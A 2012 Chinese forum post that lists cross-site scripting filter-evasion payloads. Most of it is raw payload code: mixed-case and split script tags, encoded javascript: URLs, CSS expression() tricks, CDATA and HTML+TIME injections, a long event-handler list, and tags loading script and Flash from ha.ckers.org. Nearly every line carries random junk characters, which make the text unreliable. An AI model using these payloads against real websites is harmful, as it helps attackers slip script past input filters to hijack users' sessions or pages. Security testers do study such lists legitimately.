找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2561|回复: 0
打印 上一主题 下一主题

Cross Site Scripting(XSS)攻击手法介绍

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:59:28 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
1. 改变字符大小写# r2 Y) _& b7 b& F2 B' v

5 ?- k4 ~6 h# N. q
2 b( W, f0 b$ Y. \; w2 S/ |4 x/ n7 t2 ]: F+ N" w3 M" m" Z
    <sCript>alert(‘d’)</scRipT>0 K. A( K6 I: \  E. p
& E2 w; w8 X! ^: y
2. 利用多加一些其它字符来规避Regular Expression的检查: X6 N/ Z+ D( @. J' D

. L9 o5 f& j3 a8 A9 V1 \    <<script>alert(‘c’)//<</script>
; s1 ]" `1 s/ F
; R$ d' D- H& A+ y4 r3 c7 \9 d    <SCRIPT a=">" SRC="t.js"></SCRIPT>8 s4 o1 _$ D5 w8 f5 h$ u! y

8 b' x. V* S6 W    <SCRIPT =">" SRC="t.js"></SCRIPT>% x+ q; I% h# \7 e# G3 p4 j) i

9 G( T5 @3 O1 ]/ \    <SCRIPT a=">" ” SRC="t.js"></SCRIPT>
0 I* z) n1 n$ i- V
2 L8 M* H/ U, d% y    <SCRIPT "a=’>’" SRC="t.js"></SCRIPT>
* U; E! k' Y2 J# q+ B' P# D, H
# c. P" z/ X% o- V+ S6 X    <SCRIPT a=`>` SRC="t.js"></SCRIPT>- d- ^% w! o' l4 n* o* F. O

7 j% r& y% B- p5 d2 f' w    <SCRIPT a=">’>" SRC="t.js"></SCRIPT>
- V8 U  t. K: M* w$ u. H4 |; |- p9 @+ I+ x1 u: f3 l- c
3. 以其它扩展名取代.js
; B7 i2 Q8 A- ]2 r# W( d; d
1 ~! w8 l" j: Y" \, S    <script src="bad.jpg"></script>
3 |3 J% l( E! {1 @0 S) k. L' C" C0 M- b/ X2 X9 H
4. 将Javascript写在CSS档里
9 |. q& w+ u5 N
* d' H: A. {  [2 a2 H, O+ m    <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">( b/ N/ }5 b% s) G) D
; C% ~$ _5 y  M
       example:5 p! p6 h% @# N0 a

, u( _. c  N* J; U' l8 S- v2 e$ G          body {
2 u6 V2 q% L5 h5 n
& F" `) S2 g. v# U( p9 \7 g               background-image: url(‘javascript:alert("XSS");’)" b; x; o* h- H" Y
' O4 l, V$ `+ b& K& ~2 K/ o
          }
$ b' V( o& z9 a9 I( t; ?4 O& V6 j2 H7 o: J( g- Y- H- \
5. 在script的tag里加入一些其它字符
* H# W& ~" s$ p5 S- [5 H/ ~. L1 j* X+ h/ i
    <SCRIPT/SRC="t.js"></SCRIPT>/ N" F0 G9 M% t( o& z

& B, c5 W. B0 Q' `    <SCRIPT/anyword SRC="t.js"></SCRIPT>
& o- u% L2 x' h7 t  x" H: e* [. T. W0 W0 S- p
6. 使用tab或是new line来规避
& W8 O2 p5 |' ^: a! o  P' `8 x( o  ^/ s
    <img src="jav ascr ipt:alert(‘XSS3′)">( f6 F9 o0 m+ i/ h; U
# S% \3 E; @$ ?3 Y
    <img src="jav ascr ipt:alert(‘XSS3′)">5 e# P: }. l( v7 \# Z+ y

. ^6 |( b7 e: L) `8 K    <IMG SRC="jav ascript:alert(‘XSS’);">0 {( h1 ?# k" S1 L* x2 @5 B
  B$ g& z8 S1 E) k  x
         -> tag0 c' R( D, v3 X0 H7 m
4 `' ?$ d# d3 Z
         -> new line
& ^3 N# o; B2 e
, R2 ]& m6 J  m- n/ m) Q7. 使用"\"来规避/ C" Y. c0 M" t+ ?6 Q' v  f% A3 ~

, s# A+ q0 |# Z7 ]    <STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>
0 K% @, J; I" Z" R7 y9 {# v; k
1 b& {0 ^. F  T! U& H9 l) B+ O2 s: @    <IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>
* L- t1 Y6 n2 |# N9 b3 T5 E. e0 H6 Q) ^
    <IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">3 n6 l- h7 a$ ~3 ]

5 \2 J. w- ^' l' T    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">5 F; f; k; [0 W$ L/ f9 A
: I2 l! M2 M; q. I2 E
    <A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>8 {- Z2 k5 m- {" R% S
9 W5 e: ?3 A2 j# x
8. 使用Hex encode来规避(也可能会把";"拿掉)
! |1 K- `. O  j% z" M( o: y2 S- X, ]. C& O7 h( n
    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
/ H! @# U1 b$ W) O1 M5 j4 P$ ~
; U( ]4 @( v2 D/ Y5 M) g: S1 [        原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">2 q; o. P( d7 Q( B" f

2 d0 e" t/ ]; S2 @) N9 u% x# j    <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">% C6 n) S! j  J& d; R' t

/ \+ f& l+ N/ p: P8 L        原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">' G1 Z% Y6 h" R+ N

, Y% x& C; _3 {5 E9. script in HTML tag% v: p. U- m) U' x, N! R5 G
' I  _" b0 Y: `- }
    <body onload=」alert(‘onload’)」>9 x& _7 L8 D" s1 J: c% V% B
- y5 c& ?9 e3 ^4 Q1 a! h& }
        onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload$ x( v& o' ?  U! c4 W9 l, _
  h* p/ l9 A- |6 |/ G8 c
10. 在swf里含有xss的code
# J: p9 P' O; a9 s4 B) k$ A$ j9 h" m$ b' x4 ^  k2 ]
    <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>- z/ g, s( ^8 c

2 B6 i  ]# F' ~) I$ R1 z# H11. 利用CDATA将xss的code拆开,再组合起来。! V5 P# U3 z+ a, W) P* {7 o9 Y

( p3 n# s/ b: R' N1 Q" d( Z; b    <XML ID=I><X><C>
3 t. ~8 k, G. d. O. D2 [. B& q
    <![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>% _3 p* a' f+ x' K
' z6 e, _  M2 W6 @* ?
    </C></X>7 q6 ]3 j, p, Z- K3 X( ~8 T/ x/ B

# f$ V" k* ~4 |5 K# s    </xml>( f9 o) x, F; K( W& j

) x" J" j2 v. `, U; [' J  K    <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>! }( B! _& n+ ?0 N1 \) K! ]
: e- {  a& z" M4 ^+ ^
    <XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>
; Y4 H9 b" K) p- v* P( n5 l3 a% u8 Q* C, |$ ~
    <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>" h5 X, j+ n: F- Q+ d( [9 r" m0 i

" Z$ Q  m. @; J0 y12. 利用HTML+TIME。
, j4 e0 w# ~0 O* |2 Z# I" c9 \' {$ t! t. _5 ?' T
    <HTML><BODY>
9 @5 Z6 o1 r- B6 E; E, ^
, y0 X, ]6 Q) G7 w* W! a, l, F    <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
( c: i/ I# |. @' i' b7 u6 a3 Y; T4 U  U2 y9 \1 T
    <?import namespace="t" implementation="#default#time2">% x7 A- x3 f  z/ j  m0 I

& r. V  S' @2 @    <t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">1 H2 {3 e0 v& e; Q7 Q, [

. g% T  b$ ]- g- F* ^3 l/ x& E3 |    </BODY></HTML>! s3 B- L) y1 B
& d1 `+ w# ~; g0 G4 M0 k
13. 透过META写入Cookie。
4 D7 Y8 b1 _1 w6 G4 i) p
+ l. q7 j! u! h. R$ E" ?0 w    <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>">5 s1 v0 k) G9 G) e9 T% c
; U% j* }% {1 M& q9 ?4 e5 e
14. javascript in src , href , url, G# D8 ?4 M' M; _. u) d
' i4 Q- H, T% B' }" p
    <IFRAME SRC=javascript:alert(’13′)></IFRAME>
+ @$ U2 c! Y- [6 k& J( k4 c
& N& v( n: A) n- {% q    <img src="javascript:alert(‘XSS3′)">! N" x  Y! p- q* y+ `6 j

" O! I2 l& d& z2 O" d% M) Z% u<IMG DYNSRC="javascript:alert(‘XSS20′)">. F9 q: I/ k4 Q. S8 r3 D
5 w# P+ e: y' y7 \* g6 e/ ?5 G
    <IMG LOWSRC="javascript:alert(‘XSS21′)">: c0 b+ `( x9 D

( I) V) {( s" \    <LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">, ]! b4 B/ ^  w
! G0 ^) L0 m9 p4 X8 {7 s  @
    <IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>$ e  J! h& a" z$ n  _) [/ g
; X! }" N1 z% s/ E: w* j5 q2 u
    <TABLE BACKGROUND="javascript:alert(‘XSS29′)">' B: K. o  P, |1 C5 q
. p, ~; Y# b, Z3 R% S( O
    <DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">
( `5 s8 _, I* U2 f+ M4 y. t; q+ b% u! r3 ~
    <STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}
. [9 c' p! v: q4 O$ n- w$ `- i) \$ _% X9 L' e( B* z
    </STYLE><A CLASS=XSS></A>! K; x( P; V% o0 ]5 n
, T; Z9 w5 F: V; A4 R( m
    <FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>" A* [9 X; j' o4 V& S8 N% f
$ o( q3 Z& h6 c+ c, `
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表